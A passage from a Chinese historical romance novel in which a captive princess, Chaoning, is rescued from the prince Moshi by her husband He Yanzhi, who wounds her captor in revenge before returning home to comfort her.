朝宁眼波流转,带着几分挑衅望向摩什,“我那位母妃心性薄凉,未曾给我留下只砖片瓦。此事,你安插在宫中的眼线,难道未曾禀报么?看来王子的消息,终究是慢了一步。”
“死到临头还嘴硬!”摩什勃然大怒,刀锋又逼近几分,一丝尖锐的刺痛传来,朝宁白皙的脸颊上顿时沁出一道血痕。
“看来不让你尝点苦头,你是不会老实交代了!”
朝宁闭上眼睛预想的疼痛没有来袭,只听“珰”的一声脆响,匕首应声落地,摩什更是被一股大力震得踉跄后退,重重跌倒在地。数枚飞镖破空而来,精准地钉入他两侧的袖口,将他牢牢钉在地上!
与此同时,破屋的木门被人一脚踹开,几道黑影如鬼魅般闪入,手起刀落,瞬间将朝宁身旁的绥丹人解决干净。
朝宁没了支撑,却跌入了一个温度的怀抱中。
“你来了。”看见眼前人,朝宁的心才彻底放松下来。
贺砚知解开她的绳索,目光触及她脸上那道刺目的血痕时,心脏仿佛被一只无形的手狠狠攥住。
他慌忙取出随身携带的干净帕子,小心翼翼地按压在伤口上
“疼不疼?”贺砚知的声音都有些颤抖,他不敢想如果他再晚来一会儿,朝宁会受多大的痛。
朝宁靠在他怀里,能看到他满眼的心疼,反而轻声安慰道:“没事,不过一个小伤口而已。”
“梁蔗!”贺砚知将朝宁扶起,“带公主回去。”
朝宁抓住他的衣袖,眼中带着询问:“你呢?”
“等我,一会儿就好。”
远看着朝宁的身影消失后,贺砚知再转身时,眼中瞬间被凶狠取代,他缓步走到挣扎着的摩什面前,蹲下身,冷冷地凝视着他。
“贺砚知!你一而再再而三地坏我好事,我不会放过你。”摩什咆哮道。
“放过我吗?”贺砚知嗤笑一声,慢条斯理地拔起一枚钉在摩什袖口的飞刀,在他眼前晃了晃,“方才若再偏几寸,这飞刀便会直接钉入你的骨头。可惜,现在还不能取你性命。”
摩什狞笑道:“贺砚知,别整出一副深情模样,你接近她的目的,与我可有一二不同?看样子,你也没找到那东西?与她成亲这么久,果真是个废物。”
贺砚知对他的嘲讽充耳不闻,将那把还沾着朝宁血迹的匕首上,“用这匕首伤了她...”
话音未落,刀光一闪!
“啊——!”摩什发出一声凄厉的惨叫,大腿上已被划开一道深可见骨的口子,鲜血汩汩涌出。
贺砚知眼神未变,手起刀落,又在摩什的双臂和另一条腿上留下数道深刻的伤口。鲜血迅速浸透衣物,在地上汇成一小滩血泊
摩什痛得面目扭曲,在地上痛苦地翻滚哀嚎:“贺砚知……我定要杀了你……!”
“嗖——!”
匕首擦着摩什的耳畔,深深钉入他头侧的地面,刀柄兀自颤动不已。
“若在敢伤她,我会毫不犹豫,杀了你!”
贺砚知站起身,优雅地拂去衣角沾染的灰尘,看向摩什的眼神如同看待垃圾一般,转身朝外走去,“压着他,半盏茶功夫后,再扔回去!”
待贺砚知心急如焚地赶回府中,朝宁的脸已被大夫看过上了药,伤口不深,按时用药便不会留疤。
贺砚知这才稍稍安心,凑近仔细查看那已止住血的伤痕,指尖悬在空中,想碰又不敢碰。
“没事,本公主天生丽质,就算留了疤又如何...”
话音未落,贺砚知却猛地将她紧紧拥入怀中,“吓死我了,今日为何故意入他圈套?”